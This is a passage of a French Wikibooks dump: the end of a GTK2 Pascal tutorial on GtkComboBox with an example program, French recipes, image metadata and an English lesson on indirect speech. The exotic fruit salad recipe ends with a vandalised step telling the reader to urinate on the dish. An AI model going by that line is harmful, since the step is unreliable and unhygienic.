<code>GtkCombo</code> qui était utilisé. Il est toujours utilisable pour assurer la compatibilité mais n'est plus conseillé pour les nouvelles créations. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkComboBox|GtkComboBox]] |} == Utilisation de base (mode texte sans modèle) == === Création === La fonction de création d'une liste déroulante texte est simple : function gtk_combo_box_new_text : PGtkWidget; === Ajout de texte dans la liste déroulante === Il y a plusieurs fonctions possibles selon qu'on veuille ajouter ou insérer du texte : procedure gtk_combo_box_append_text(combo_box : PGtkComboBox; text : Pgchar); procedure gtk_combo_box_insert_text(combo_box : PGtkComboBox; position : gint; text : Pgchar); procedure gtk_combo_box_prepend_text(combo_box : PGtkComboBox; text : Pgchar); === Suppression de texte === Il suffit d'indiquer le numéro de ligne que l'on souhaite supprimer : procedure gtk_combo_box_remove_text(combo_box : PGtkComboBox; position : gint); === Récupération de la sélection de l'utilisateur === Cette fonction permet de récupérer le texte choisi par l'utilisateur (à partir de la version 2.6 de Gtk+) : function gtk_combo_box_get_active_text(combo_box : PGtkComboBox) : Pgchar; ATTENTION : Cette fonction n'est pas définie dans les en-têtes Gtk+ Pascal. Il faut donc ajouter le prototype dans le source où on veut l'utiliser (cf l'exemple ci-dessous). Sinon il y a une fonction qui permet de récupérer le numéro de l'item sélectionné : function gtk_combo_box_get_active(combo_box : PGtkComboBox) : gint; Le premier item a le numéro 0. Si aucun item n'est sélectionné, la fonction renvoie -1. La fonction inverse permet de se positionner sur un item particulier : procedure gtk_combo_box_set_active(combo_box : PGtkComboBox; index : gint); === Programme exemple === Comme exemple, nous allons créer une fenêtre comportant un GtkComboBox, un GtkButton et un GtkLabel. Le but sera d'afficher le texte sélectionné du GtkCombobox dans le GtkLabel. Cette opération s'effectuera lorsque l'utilisateur cliquera sur le bouton (interception du signal « clicked »). Voilà le fichier <code>gtk029.pas</code> : program gtk029; uses glib2, gtk2; // Défaut de la gtk2 pascal : il manque cette fonction pourtant présente dans la bibliothèque function gtk_combo_box_get_active_text(combo_box:PGtkComboBox):PGChar;cdecl; external gtklib name 'gtk_combo_box_get_active_text'; type TFenetrePrincipale = record pFenetre : PGtkWidget; pVBox : PGtkWidget; pListeDer : PGtkWidget; pBouton : PGtkWidget; pLabel : PGtkWidget; end; PFenetrePrincipale = ^TFenetrePrincipale; procedure OnBtnClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var pFenPrinc : PFenetrePrincipale; Texte : PGChar; begin // Récuperation des données de la fenêtre principale (qui sont dans AData) pFenPrinc := PFenetrePrincipale(AData); // Récuperation du texte contenu dans le GtkComboBox Texte := gtk_combo_box_get_active_text(GTK_COMBO_BOX(pFenPrinc^.pListeDer)); // Modification du texte contenu dans le GtkLabel gtk_label_set_text(GTK_LABEL(pFenPrinc^.pLabel), Texte); g_free(Texte); end; var pFenPrinc : PFenetrePrincipale; begin pFenPrinc := g_malloc(SizeOf(TFenetrePrincipale)); gtk_init(@argc, @argv); pFenPrinc^.pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenPrinc^.pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenPrinc^.pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenPrinc^.pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenPrinc^.pFenetre), 'Gtk029 : Combobox'); gtk_signal_connect(pGTKOBJECT(pFenPrinc^.pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pFenPrinc^.pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenPrinc^.pFenetre), pFenPrinc^.pVBox); // Création du GtkComboBox pFenPrinc^.pListeDer := gtk_combo_box_new_text; // Chargement de la liste déroulante gtk_combo_box_append_text(GTK_COMBO_BOX(pFenPrinc^.pListeDer), 'Bleu'); gtk_combo_box_append_text(GTK_COMBO_BOX(pFenPrinc^.pListeDer), 'Rouge'); gtk_combo_box_append_text(GTK_COMBO_BOX(pFenPrinc^.pListeDer), 'Jaune'); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pListeDer, TRUE, FALSE, 0); pFenPrinc^.pBouton := gtk_button_new_with_label('Copier'); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pBouton, TRUE, FALSE, 0); g_signal_connect(pGTKOBJECT(pFenPrinc^.pBouton), 'clicked', GTK_SIGNAL_FUNC(@OnBtnClick), gpointer(pFenPrinc)); pFenPrinc^.pLabel := gtk_label_new(NULL); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pLabel, TRUE, FALSE, 0); gtk_widget_show_all(pFenPrinc^.pFenetre); gtk_main; g_free(pFenPrinc); end. Voilà ce que donne l'exécution du programme <code>gtk029</code> : [[Image:Programmation GTK2 en Pascal - gtk029-1.png]] Après sélection de l'item « bleu » et clic sur le bouton : [[Image:Programmation GTK2 en Pascal - gtk029-2.png]] On peut légèrement modifier l'exemple pour utiliser les fonctions <code>get</code> et <code>set_active</code>. À l'initialisation, on sélectionne un item (le n° 2) et au clic sur le bouton, on affiche le numéro d'item sélectionné. Extrait du programme <code>gtk030.pas</code> qui est recopié sur celui ci-dessus. Dans la fonction <code>OnBtnClick</code>, on a : [...] // Récuperation du numéro d'item sélectionné Texte := g_strdup_printf('%d', [gtk_combo_box_get_active(GTK_COMBO_BOX(pFenPrinc^.pListeDer))]); [...] Et dans la partie principale, après le chargement de la liste déroulante, on ajoute : [...] gtk_combo_box_set_active(GTK_COMBO_BOX(pFenPrinc^.pListeDer), 1); [...] == Utilisation complète (avec modèle) == ''<à développer>'' {{Programmation GTK2 en Pascal - Liste déroulante}} Image:Fouet.JPG 2625 14208 2005-02-18T17:56:18Z Antoinel 182 Image:fouet.jpg {{GFDL}} Image:Carbonade flamande.jpg 2626 14209 2005-02-18T19:47:34Z Antoinel 182 Image:Carbonade_flamande.jpg {{GFDL}} Cuisine:Tarte aux pommes 2627 14210 2005-04-21T17:13:56Z Guillaumito 46 {{Cuisine:Desserts}} again :) La '''tarte aux pommes''' avec flan (tarte aux pommes à l'alsacienne) ou sans flan (tarte aux pommes « bonne femme »). == Ingrédients == * pâte brisée *1,5 kg de pommes (reinettes de préférence) *200 g de sucre (on peut en mettre moins) * 1 paquet de sucre vanillé == Recette == * Étaler la pâte dans un moule à tarte beurré et fariné, mettre au réfrigérateur 10 minutes * Préchauffer le four à 250 °C (Th 8) * Préparer la compote (le cas échéant) : ** mettre les pommes (en réserver six pour la garniture) pelées et coupées en quartier dans une casserole ** ajouter 150 g de sucre et le sucre vanillé ** couvrir et laisser réduire à feu doux ** laisser refroidir * Préparer la garniture : ** Peler six pommes de même grosseur, les épépiner et les couper en tranches fines ** Piquer le fond de tarte et le tartiner avec la compote (on peut mettre les pommes directement sans compote) ** disposer les pommes sur le fond en les faisant se chevaucher **Saupoudrer la tarte de sucre * cuire 35 à 40 minutes ==Variantes== * Choix de la pâte : on peut utiliser aussi de la pâte sablée ou feuilletée. * Les pommes : ** choix des pommes à tarte : de nombreuses variétés conviennent : reinettes, calville, golden, ** découpe des pommes : tranches fines, quartiers minces (1/8 de pomme) ou épais (1/4 de pomme), demi-pommes ) à plat. La cuisson des pommes sera différente et l'effet gustatif aussi. ** on peut faire macérer les pommes dans du sucre et un alcool (kirsch, calvados...) * Accompagnement des pommes : on peut aussi : ** mettre une couche de compote de pommes sous les fruits (comme indiqué plus haut) ** ajouter un meringage de blancs d'œufs battus en neige en fin de cuisson ** ajouter de la cannelle, qui se marie bien avec la pomme ** napper la surface avant cuisson avec de la marmelade d'abricot, cela fera briller la tarte ** flamber la tarte en versant de l'alcool de pomme (ou du rhum) chaud sur la tarte chaude. [[Image:Tarte aux pommes.JPG|250 px|left|thumb|Tarte aux pommes et à la cannelle]]<br clear="both"/> {{Cuisine:Desserts}} Image:Tarte aux pommes.JPG 2628 14211 2005-02-18T20:00:12Z Antoinel 182 Image:tartpomcannelle.jpg {{GFDL}} Cuisine:Salade de fruits 2629 44375 2006-06-12T09:19:17Z 80.11.47.195 /* Préparation */ __NOTOC__ La '''salade de fruits''' est un dessert composé d'un mélange de fruit. La salade de fruits peut se déguster en toutes saisons. Il en existe différentes recettes en fonction des saisons ou des pays. == Salade de fruits classique == === Ingrédients === *1 poire *1 pomme *1 banane *2 kiwis *2 pêches *1 petite grappe de raisin === Préparation === Eplucher la pomme; la poire, la banane, les kiwis et les pèches. Découper la banane en rondelles. Découper les autres fruits en cube. Les mélanger dans un saladier. Rajouter le raisin. Mettre au réfrigérateur pendant 1 heure. Mélanger avant de servir. * Lorsque la salade n'est pas assez sucrée on peut rajouter du sucre de canne. Pour la conserver on peut également rajouter le jus d'un citron. == Variantes == === Salade de fruits exotiques === ==== Ingrédients (pour un saladier) ==== {| |----- | * 3 kiwis * 2 bananes * 1 grenade * 1 papaye * ½ ananas * 3 nashis * 1 carambole (pour la décoration) * autres fruits exotiques ... * 1 orange * 1 citron * sucre roux (facultatif) | align="right" | [[Image:Salade_de_fruit.jpg|right|thumb|salade de fruits exotiques.]] |} ==== Préparation ==== #Eplucher et couper en dés les bananes, les kiwis, la papaye, l'ananas, les nashis. Les placer dans le saladier. #Presser et arroser du jus de l'orange, du citron #Rajouter du sucre selon les goûts. #Décorer de la carambole coupée en fines rondelles et pisser dessue {{Cuisine:Desserts}} Image:Salade de fruit.jpg 2630 14213 2005-02-18T20:07:09Z Antoinel 182 Image:Salade_de_fruits_exotiques.jpg {{GFDL}} Anglais : le discours indirect 2631 31250 2006-02-02T21:17:59Z Antoinel 182 /* Application */ On emploie le discours indirect pour rapporter les paroles de quelqu'un. Il faut adapter les repères du discours direct. __NOTOC__ == Concordance des temps == <table width=800 border="1" cellspacing="0" style="background-color: #FFFF66"> <tr><td width=50% align="center">'''Discours direct'''</td><td width=50% align="center">'''Discours indirect'''</td></tr> </table><table width=800 border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td width=50%>Présent</td><td width=50%>Prétérit</td></tr> <tr> <td width=50%> * "I hate driving," she said. * "I am watching TV," he said.</td><td width=50%> * She said that she hated driving. * He said he was watching TV. </td></tr> </table> <table width=800 border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td width=50%>Prétérit</td><td width=50%>Past Perfect</td></tr> <tr><td width=50%> * "Tom went back to the USA," they told her. </td><td width=50%> * They told her that Tom had gone back to the USA.</td></tr></table> <table width=800 border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td width=50%>Present Perfect</td><td width=50%>Past Perfect</td></tr> <tr><td width=50%> * "I've never liked poetry," his father claimed.</td> <td width=50%> *His father claimed that he had never liked poetry.</td></tr></table> <table width=800 border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td width=50%>Impératif</td><td width=50%>to + verbe</td></tr> <tr><td width=50%> * "Don't play with your food," their mum told them.</td> <td width=50%> * Their mum told them not to play with their food.</td></tr></table> <table width=800 border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td width=50%>Futur</td><td width=50%>would</td></tr> <tr><td width=50%> * "I'll do it tomorrow," I said.</td><td> * I said I would do it the next day.</td></tr></table> <table width=800 border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td width=50%>Can</td><td width=50%>could</td></tr> <tr><td width=50%> * "I can do it myself," he claimed.</td><td> * He claimed he could do it himself.</td></tr></table> <table width=800 border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td width=50%>must</td><td width=50%>had to ou must</td></tr> <tr><td width=50%> * "We must do it ourselves," they said.</td><td> * They said they must / had to do it themselves.</td></tr></table> <table width=800 border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td width=50%>should</td><td width=50%>should</td></tr> <tr><td width=50%> * "You should not smoke," I advised him.</td><td width=50%> * I advised him that he shouldn't smoke. </td></tr></table> == Pronoms, déterminants, adverbes == Comme en français, les déterminants, adverbes et pronoms ne sont pas les mêmes au discours direct et au discours indirect. ===Adverbes de temps=== <table width=600 border="1" cellspacing="0"> <tr><td width=50% align="center">Discours direct</td><td width=50% align="center">Discours indirect</td></tr> <tr><td width=50% align="center">yesterday</td><td width=50% align="center">the day before</td></tr> <tr><td width=50% align="center">today</td><td width=50% align="center">that day</td></tr> <tr><td width=50% align="center">tomorrow</td><td width=50% align="center">the following day</td></tr> <tr><td width=50% align="center">last week/month/year</td><td width=50% align="center">the week/month/year before</td></tr> <tr><td width=50% align="center">next week/month/year</td><td width=50% align="center"> the following week/month/year</td></tr> <tr><td width=50% align="center">three days ago</td><td width=50% align="center">three days before</td></tr> </table> ====Déterminants==== <table width=600 border="1" cellspacing="0"> <tr><td width=50% align="center">Discours direct</td><td width=50% align="center">Discours indirect</td></tr> <tr><td width=50% align="center">"I like '''my''' house," she said.</td><td width=50% align="center">She said she liked '''her''' house.</td></tr> <tr><td width=50% align="center">"I visited '''this''' town."</td><td width=50% align="center">He said he had visited '''the''' town.</td></tr> </table> == Verbes introducteurs == Les verbes introducteurs sont employés au prétérit. <table border="1" cellspacing="0" style="background-color: #99CCFF"><tr><td width=80>to add</td><td width=80>to advise</td><td width=80>to admit</td><td width=80>to answer</td><td width=80>to apologize</td><td width=80>to ask</td><td width=80>to beg</td><td width=80>to declare</td><td width=80>to explain</td></tr> <tr><td width=80>ajouter</td><td width=80>demander conseil</td><td width=80>admettre</td><td width=80>répondre</td><td width=80>s'excuser</td><td width=80>demander</td><td width=80>supplier</td><td width=80>déclarer</td><td width=80>expliquer</td></tr> </table> <table border="1" cellspacing="0" style="background-color: #99CCFF"><tr><td width=80>to insist</td><td width=80>to invite</td><td width=80>to suggest</td></tr> <tr><td width=80>insister</td><td width=80>inviter</td><td width=80>suggérer</td> </table> == Interrogatives == Dans les interrogatives au discours indirect il n'y a pas d'inversion du sujet et du verbe, on n'emploie pas l'auxillaire do.<br /> Exemple : He asked me where I had slept. ''Il me demanda où j'avais dormi.''<br>I wonder if I must eat. ''Je me demande si je dois manger''. == Application == [[Test_discours_indirect|Test]] <br /> Retour [[Enseignement de l'anglais]] Image:Ingrédients glace chicorée.JPG 2633 14215 2005-02-19T09:34:33Z Antoinel 182 Image:ingregchico.jpg {{GFDL}} Image:Préparation chicorée.JPG 2634 14216 2005-02-19T09:36:16Z Antoinel 182 Image:preparation_glace_chicoree.JPG {{GFDL}} Image:Ingrédients glace speculoos.jpg 2635 14217 2005-02-19T09:40:03Z Antoinel 182 Image:ingredients_glace_speculoos.JPG {{GFDL}} Image:Préparation spéculos.JPG 2636 14218 2005-02-19T09:42:24Z Antoinel 182 Image:préparation_glace_speculoos.JPG {{GFDL}} Finnois:Contenu 2637 14219 2005-03-12T20:20:09Z 195.137.38.143 # [[Finnois:Introduction|Introduction]] Cuisine:Gaspacho 2639 14220 2005-02-19T20:11:45Z 82.252.78.112 Le '''gaspacho''' est une boisson rafraîchissante très répandue dans le sud de l'Espagne. Comme il est préparé avec des ingrédients frais, il contient des vitamines. Selon les régions, il se prépare de différentes manières. ==Ingrédients== * 3 tranches de pain * 3 gousses d'ail * sel et poivre * 4 cuillers à soupe d'huile d'olive * 500 gr. de tomates * 1 poivron * 1 concombre * 1 oignon * 2 cuillers à soupe de vinaigre (par ex. vinaigre de sherry) ==Préparation== * Prendre une tranche de pain, en faire des croûtons et réserver. * Piler l'ail dans un mortier avec une pincée de sel (ou passer au mixer ou au presse-purée). * Emietter le reste du pain et l'ajouter à l'ail. * Verser l'huile progressivement en ne cessant de remuer pour former une pâte homogène. * Laisser reposer 30 minutes. * Nettoyer ou éplucher les légumes, les égrener si nécessaire. * Couper un tiers des légumes en petits dés. * Ecraser le reste dans la pâte. * Passer au chinois et diluer avec le vinaigre et un bon demi-litre d'eau. * Faire macérer au moins deux heures au réfrigérateur. * Sortir du réfrigérateur, bien remuer et assaisonner de sel et de poivre. * Servir avec les croûtons et les légumes réservés. <br />Retour [[Livre_de_Cuisine]] Cuisine:Charlotte 2640 14221 2005-06-25T15:42:13Z Antoinel 182 /* Préparation */ __NOTOC__ == Charlotte au chocolat == ==== Ingrédients ==== {| |----- | * 200 g de chocolat noir ; * 30 biscuits à la cuiller ; * 50 g de beurre ; * 4 œufs ; * 1 pincée de sel ; * 6 cuillerées à soupe de sirop de sucre de canne ; * ½ cuillerée à café d'extrait de vanille ; * 5 cuillerées à soupe d'eau, crème anglaise. | align="right" | [[Image:Charlottefin-1-.jpg|right|thumbnail|Charlotte démoulée.]] |} ==== Préparation ==== #Faire fondre le chocolat au bain-marie, jusqu'à obtention d'une crème bien lisse, puis ajouter le beurre fondu. #Incorporer les jaunes d'œufs un à un. #Monter les blancs en neige ferme avec le sel, incorporer délicatement au mélange refroidi en tournant toujours la spatule dans le même sens. #Dans une coupelle, mélanger le sirop au sucre de canne, l'extrait de vanille et l'eau. Y tremper un à un les biscuits et en tapisser le moule. #Verser une couche de mousse, alterner avec les biscuits, verser le reste de la mousse et terminer avec les biscuits. #Mettre au réfrigérateur 6 heures avant de démouler. Déguster avec de la crème anglaise. === Conseils === {| |----- | * Pour une meilleure disposition des biscuits dans le moule, en placer un sur deux, puis compléter les espaces laissés libres par des biscuits taillés en pointe. | [[Image:Charlotte1-1-.jpg|thumbnail|Préparation.]] |} == Variantes == * On peut tout aussi bien remplacer la mousse au chocolat par une crème patissière avec des fruits, pour exemple la charlotte aux fraises. Dans le Nord de la France, on peut allier les pommes à la cassonade. == Charlotte aux fraises == ==== Ingrédients ==== * 500 g de fraises * 30 biscuits à la cuiller * 150 g d'amandes en poudre * 150 g de beurre * 2 jaunes d'oeufs * 100 g de sucre semoule * 80 g de crème * 50 g de sucre glace * 1/2 citron * 6 cuillerées à soupe de sirop de sucre de canne ; * ½ cuillerée à café d'extrait de vanille ; * 5 cuillerées à soupe d'eau, crème anglaise. [[Image:Charlotte aux fraises.JPG|200px]][[Image:Part de charlotte.JPG|200px] ==== Préparation ==== {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% valign=top |[[Image:Preparation des brownies etape2.JPG|200 px|center|]]<br /><center>Mélanger vigoureusement les jaunes d'oeufs et le sucre semoule. Ajouter le beurre fondu et la poudre d'amande. Mélanger. </center> | valign=top |[[Image:Preparation charlotte etape2.jpg|200 px|center|]]<br /><center>Fouetter la crème et l'incorporer délicatement à la préparation.</center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | valign=top |[[Image:Preparation charlotte etape3.jpg|200 px|center]]<br /><center>Dans une coupelle, mélanger le sirop au sucre de canne, l'extrait de vanille et l'eau. Y tremper un à un les biscuits et en tapisser le moule.</center> | valign=top |[[Image:Preparation charlotte etape4.jpg|center|200px]]<br /><center>Laver, équeutter et couper en lamelles 400g de fraises.</center> |- bgcolor="#efefef" ! Étape 5 ! Étape 6 |----- | valign=top |[[Image:Preparation charlotte etape5.jpg|200px|center]]<br /><center>Verser une couche de la préparation, alterner avec une couche de fraises et de biscuits. Terminer avec les biscuits.Mettre au réfrigérateur 6 heures avant de démouler.</center> | valign=top | [[Image:Coulis fraises préparation.jpg|200px|center]]<br /><center> Pour préparer le coulis de fraises, presser un demi-citron, couper le reste des fraises en quartiers, ajouter le sucre glace et mixer le tout.</center> |} # Mélanger vigoureusement les jaunes d'oeufs et le sucre semoule. Ajouter le beurre fondu et la poudre d'amande. Mélanger. # Fouetter la crème et l'incorporer délicatement à la préparation. # Laver, équeutter et couper en lamelles 400g de fraises. #Dans une coupelle, mélanger le sirop au sucre de canne, l'extrait de vanille et l'eau. Y tremper un à un les biscuits et en tapisser le moule. # Verser une couche de la préparation, alterner avec une couche de fraises et de biscuits. Terminer avec les biscuits. # Mettre au réfrigérateur 6 heures avant de démouler. # Pour préparer le coulis de fraises, presser un demi-citron, couper le reste des fraises en quartiers, ajouter le sucre glace et mixer le tout. == Charlotte aux pommes et à la cassonade == ==== Ingrédients ==== <table><tr><td> * 30 biscuits à la cuiller ; * 6 grosses pommes à cuire ; * 100 à 150 g de cassonade (ou sucre brun) ; * 75 g de beurre ; * 6 cuillerées à soupe de sucre de canne ; * 8 cuillerées à soupe d'eau ; * ½ cuillerée à café d'extrait de vanille.</td> <td>[[Image:Cuissonpommes.JPG]]</td></tr></table> ==== Préparation ==== <table><tr><td> #Couper les pommes alternativement en cubes ou en lamelles. #Faire fondre le beurre dans une poêle et y ajouter la cassonade cuillère par cuillère en faisant bien incorporer. Lorsque le mélange mousse, ajouter les pommes, mélanger et maintenir à petit feu pendant une demi-heure en mélangeant de temps en temps. #Dans une assiette creuse, mélanger le sucre de canne, l'eau et l'extrait de vanille. Y tremper un à un les biscuits avant d'en tapisser le moule à charlotte. #Lorsque les pommes sont cuites, en verser la moitié dans le moule puis mettre une couche de biscuits, verser le reste pommes et couvrir avec le reste des biscuits. Pour fermer le moule couvrir d'une assiette. #Mettre au réfrigérateur l'assiette vers le dessus pendant au moins six heure. Pour démouler verser de l'eau chaude sur le bord du moule.</td> <td>[[Image:Charlotte aux pommes.JPG]]</td></tr></table> En fonction des goûts, les pommes peuvent être cuites en restant consistantes ou façon compote. {{Cuisine:Desserts}} Image:Charlottefin-1-.jpg 2641 14222 2005-02-19T20:18:28Z Antoinel 182 Image:Charlottefin.jpg {{GFDL}} Image:Charlotte1-1-.jpg 2642 14223 2005-02-19T20:20:27Z Antoinel 182 Image:charlottepreparation.jpg Image:charlottepreparation.jpg Image:Fouet mbois.jpg 2643 14224 2005-02-20T09:54:40Z Antoinel 182 Fouet manche en bois {{GFDL}} Cuisine:Ustensiles 2644 40748 2006-04-22T13:18:36Z 83.198.47.102 Ce chapitre a pour but de présenter les différents ustensiles utilisés pour cuisiner. <br /> <table><tr><td width=50%> * le fouet<br /> Le fouet est utilisé essentiellement pour élaborer des desserts, le plus souvent en patisserie pour travailler des oeufs (avec du sucre par exemple),pour battre des blancs d'oeufs ou de la crème fraîche. Le fouet à sauce est utilisé pour mélanger des aliments à l'état liquide. Pour les appareils assez dur un fouet à manche en fer est recommandé. Il existe des fouets à manche en bois ou à manche en plastique. </td><td width=50%>[[Image:Fouet mbois.jpg]]<br />[[Image:Fouet mplastique.JPG]]</td></tr></table> <table><tr> <br /> {{Cuisine}} Image:Fouet mplastique.JPG 2645 14226 2005-02-20T09:55:59Z Antoinel 182 Fouet manche en plastique {{GFDL}} Cuisine:Recettes du Sud-Ouest 2646 31431 2006-02-04T15:48:25Z 82.238.54.145 /* Préparation */ == La garbure == La '''garbure''' est une recette traditionnelle du Sud-Ouest de la France (qui rappellera par exemple la potée), qui tient au corps l'hiver ! On l'accompagnera d'un vin charpenté de la région comme le Madiran AOC. Il existe bien des manières de préparer la garbure, voici une recette simple et générique. On peut sans peur de trahir l'esprit du plat y ajouter, par exemple, du navet. ====Ingrédients==== * 8 grosses pommes de terre * 1 chou * 4 belles carottes * 2 poireaux * 3 poignées de haricots blancs (ou gros haricots dits « Tarbais ») * une petite tête d'ail * un talon de jambon. Un petit suffit si cette soupe n'est pas le plat de résistance.<br /> :(peut être remplacé par 2 cuisses et entrecuisses de confit de canard) * du gros sel * du poivre en grain Le prix de revient de cette recette est assez économique si l'on utilise du jambon et non du canard. ====Préparation==== *La veille, faire gonfler les haricots blanc dans de l'eau (12 heures minimum, donc). *Le jour même, couper le choux en lamelles assez épaisses. *Dans une marmite remplie d'environ 4 litres d’eau froide salée, mettre le jambon, le choux et les haricots. *Porter à ébullition, puis écumer (ensuite, pour que la soupe ne soit pas trop grasse, écumer de temps en temps). *Baisser le feu, laisser cuire à couvert pendant 2 à 3 heures suivant la grosseur du talon de jambon. *Ajouter les carottes coupées en gros morceaux, l'ail pilé, une grosse pincée de poivre du moulin, et les pommes de terres coupée en quatre. *Cuire à feu doux pendant une bonne heure. *Lorsque les légumes ont pratiquement fondus, la soupe est à la consistance voulue. *Rectifier l'assaisonnement (attention le jambon et le canard sont déjà salés, il faut avoir la main légère sur le sel). *En servant la soupe, pensez à distribuer un morceau de la viande à chaque convive. Plus longtemps la Garbure est réchauffée, meilleure elle est. Attention si vous la conservez au réfrigérateur : le chou est un ingrédient prompt à la fermentation. == L'assiette landaise == == Le cassoulet == ==== Ingrédients (pour 6 personnes)==== * 500 g de haricots blancs secs, (lingots, cocos ou Tarbais). * quelques couennes de porc. * 1 kg de viande au choix, selon son budget ou ses goûts, de confit de canard ou d'oie, saucisse de Toulouse, andouillettes, côtes de porc ou côtelettes de mouton. *un bouquet garni. *un oignon ou quelques échalottes. * une tête d'ail. * sel, poivre. ==== Préparation ==== #Ne pas faire tremper les haricots, les mettre dans un grand volume d'eau froide dans laquelle on aura mis un peu de cumin et les faire blanchir quelques minutes. #Pendant ce temps faire cuire à feu vif, les couennes et la viande dans un peu d'huile d'olive, on peut aussi les faire cuire au four très chaud jusqu'à coloration. #Lorque la viande est bien saisie, la réserver. #Déglacer le jus de cuisson des viandes, y faire revenir légèrement l'oignon ou les échalottes jusqu' à coloration. #Faire bouillir un volume d'eau équivalent à cinq ou six fois celui du volume des haricots secs, saler. #Egoutter les haricots blanchis, réserver au chaud. #Dans une cocotte en fonte ou en terre résistant au four, placer dans le fond les couennes de porc, alterner des couches de haricots et de viande, ajouter les échalottes ou l'oignon, une tête entière d'ail (dont on n'a pas enlevé la derniére peau sur les gousses, c'est très important!), placer le bouquet garni, quelques clous de girofles, quelques baies de genévrier, et mouiller le tout avec l'eau bouillante et salée. Rajouter le jus de déglaçage.Poivrer. #Enfourner à feu très doux, de cette douceur va dépendre la réussite du plat. Compter au minimum quatre ou cinq heures de cuisson. Lorsqu'une légère croûte s'est formée, et que les haricots ont absorbé la totalité de l'eau, c'est prêt. Si nécessaire, rajouter un peu d'eau mais bouillante. On peut aussi cuire sur une plaque de cuisson, c'est plus rapide mais le résultat n'est pas le même. Servir très chaud, on peut rajouter un peu de chapelure. == Le poulet basquaise == ===Ingrédients (pour 4 personnes) === * 1 poulet * 2 poivrons : un rouge, un vert * 6 tomates * 2 oignons * 4 gousses d'ail * huile d'olive * 1 sauteuse (ou plus pratique : un autocuiseur ) ===Préparation=== #Découper le poulet #Passer les tomates quelques secondes dans l'eau bouillante pour pouvoir les peler facilement. #Faire revenir le poulet au fond de la sauteuse avec 3 cuillères à soupe d'huile d'olive. Pendant ce temps, dans l'ordre : peler et couper les oignons, couper les poivrons, peler et couper les tomates, hacher l'ail finement. Dès qu'un des légume est coupé, le mettre à revenir dans la sauteuse, avec le reste. #Saler, poivrer. Fermer le couvercle et laisser mijoter : à la cocotte-minute : 10 à 15 minutes après que le sifflement a commencé à la sauteuse une bonne heure. Se mange généralement accompagné de riz, cuisson traditionnelle (seulement à l'eau). == Le confit de canard == == Le pastis landais == <br /> Retour [[Livre_de_Cuisine]] Cuisine:Recettes de la Savoie 2647 14228 2005-02-26T19:09:06Z Antoinel 182 /* Variantes au choix */ == La fondue savoyarde == La '''fondue savoyarde''' est un plat à base de fromage originaire de Suisse, répandu en Savoie. ==== Ingrédients ==== * 400g de Beaufort * 400g de Comté * 400g d'Emmenthal * 6 verres de vin blanc * 1 verre de Kirsch * 1 gousse d'ail * pain * beurre ==== Préparation ==== #Couper le pain en cube et le fromage en lamelle. #Couper finement la gousse d'ail et la faire blondir avec le beurre dans le poêlon. #Ajouter le vin blanc, le faire frémir et ajouter le fromage petit à petit en mélangeant. Quand le fromage est fondu, ajouter le kirsch. #Tremper le pain dans le fromage et déguster. == La tartiflette == La recette de la tartiflette est une recette savoyarde qui existe en une multitude de versions. Historiquement la tartiflette prend son origine dans la vallée des Aravis, fief du reblochon, mais ce n'est pas un plat traditionnel du terroir malgré son allure de plat traditionnel et paysan. ====Ingrédients==== * Un reblochon fermier ou fruitier d'au moins 450 g. * 1 kg de pommes de terre (choisir plutôt des pommes de terre qui tiennent bien à la cuisson, genre charlotte ou roseval) * 1 oignon (150 à 200 g) * Poivre du moulin, pas de sel (le reblochon est déjà salé) ====Ingrédients suplémentaires possibles pour 4 personnes ==== <table> <tr><td> * Crème fraîche selon variante de préparation * Lardons (à ajouter dans le plat) (250 g) * Vin blanc (à ajouter à l'oignon en fin de cuisson). * Ail (traité avec l'oignon). * Bouillon de bœuf * 1 poivron rouge * Noix de muscade</td><td>[[Image:Préparationtartiflette.jpg]]</td></tr></table> ====Préparation ==== * Faire cuire les pommes de terre à l'eau salée (pas trop, elles doivent rester fermes). * Emincer l'oignon, et le faire revenir doucement 5 min. * Préparer un plat à gratin (à beurrer très légèrement). * Couper les pommes de terre et les placer avec l'oignon dans le plat, et poivrer. * Couper le reblochon en 2 dans l'épaisseur, et grattez un peu l'épaisseur de la croûte fleurie. * Poser les 1/2 reblochons côte à côte dans le plat (croûte au-dessus). * Passer au four à 180°C pendant 20 min (le reblochon doit être bien fondu, et la croûte légèrement racornie). * Servir avec de la salade et un verre de vin blanc de Savoie. À partir de cette base, on peut faire toutes les versions, ou créer sa propre variante de la recette. ====Variantes au choix==== * La coupe des pommes de terre : en dés ou en grosse lamelles. * Cuire les pommes de terre la veille. * Faire sauter une vingtaine de minutes les pommes de terre au lieu de les bouillir (bien meilleur surtout avec des lardons). * Gratter légèrement la croûte du reblochon (tout à fait conseillé). * Ajouter 100 g de crème fraîche juste 